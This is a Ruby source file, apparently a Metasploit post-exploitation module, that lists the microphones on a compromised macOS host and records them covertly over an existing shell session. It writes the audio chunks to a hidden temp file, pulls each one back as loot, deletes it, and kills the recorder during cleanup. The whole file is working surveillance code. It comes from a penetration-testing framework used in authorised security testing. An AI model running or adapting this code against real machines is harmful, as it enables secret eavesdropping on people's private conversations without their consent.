adfoster-r7
131 lines
4.3 KiB
Ruby
131 lines
4.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'shellwords'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Post::OSX::RubyDL
|
|
|
|
POLL_TIMEOUT = 120
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'OSX Manage Record Microphone',
|
|
'Description' => %q{
|
|
This module will allow the user to detect (with the LIST action) and
|
|
capture (with the RECORD action) audio inputs on a remote OSX machine.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'joev'],
|
|
'Platform' => [ 'osx'],
|
|
'SessionTypes' => [ 'shell' ],
|
|
'Actions' => [
|
|
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
|
|
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
|
|
],
|
|
'DefaultAction' => 'LIST'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
|
|
OptString.new('TMP_FILE',
|
|
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']),
|
|
OptString.new('AUDIO_COMPRESSION',
|
|
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']),
|
|
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
|
|
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
|
|
]
|
|
)
|
|
end
|
|
|
|
def run
|
|
fail_with(Failure::BadConfig, 'Invalid session ID selected.') if client.nil?
|
|
fail_with(Failure::BadConfig, 'Invalid action') if action.nil?
|
|
|
|
num_chunks = (datastore['RECORD_LEN'].to_f / datastore['SYNC_WAIT'].to_f).ceil
|
|
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) + '1' }
|
|
ruby_cmd = osx_capture_media(
|
|
action: action.name.downcase,
|
|
snap_filetype: '',
|
|
audio_enabled: true,
|
|
video_enabled: false,
|
|
num_chunks: num_chunks,
|
|
chunk_len: datastore['SYNC_WAIT'],
|
|
video_device: 0,
|
|
audio_device: datastore['MIC_INDEX'],
|
|
snap_jpg_compression: 0,
|
|
video_compression: '',
|
|
audio_compression: datastore['AUDIO_COMPRESSION'],
|
|
record_file: tmp_file,
|
|
snap_file: tmp_file
|
|
)
|
|
|
|
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
|
|
if action.name =~ /list/i
|
|
print_good output
|
|
elsif action.name =~ /record/i
|
|
@pid = output.to_i
|
|
print_status "Running record service with PID #{@pid}"
|
|
(0...num_chunks).each do |i|
|
|
# wait SYNC_WAIT seconds
|
|
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
|
|
Rex.sleep(datastore['SYNC_WAIT'])
|
|
# start reading for file
|
|
begin
|
|
::Timeout.timeout(poll_timeout) do
|
|
loop do
|
|
if File.exist?(tmp_file)
|
|
# read file
|
|
contents = File.read(tmp_file)
|
|
# delete file
|
|
rm_f(tmp_file)
|
|
# roll filename
|
|
base = File.basename(tmp_file, '.*') # returns it with no extension
|
|
num = ((base.match(/\d+$/) || ['0'])[0].to_i + 1).to_s
|
|
ext = File.extname(tmp_file) || 'o'
|
|
tmp_file = File.join(File.dirname(tmp_file), base + num + '.' + ext)
|
|
# store contents in file
|
|
title = 'OSX Mic Recording ' + i.to_s
|
|
f = store_loot(title, 'audio/quicktime', session, contents,
|
|
"osx_mic_rec#{i}.qt", title)
|
|
print_good "Record file captured and saved to #{f}"
|
|
print_status 'Rolling record file. '
|
|
break
|
|
else
|
|
Rex.sleep(0.3)
|
|
end
|
|
end
|
|
end
|
|
rescue ::Timeout::Error
|
|
fail_with(Failure::TimeoutExpired, "Client did not respond to file request after #{poll_timeout}s, exiting.")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def cleanup
|
|
return unless @cleaning_up.nil?
|
|
|
|
@cleaning_up = true
|
|
|
|
if action.name =~ (/record/i) && !@pid.nil?
|
|
print_status('Killing record service...')
|
|
cmd_exec("/bin/kill -9 #{@pid}")
|
|
end
|
|
end
|
|
|
|
private
|
|
|
|
def poll_timeout
|
|
POLL_TIMEOUT
|
|
end
|
|
end
|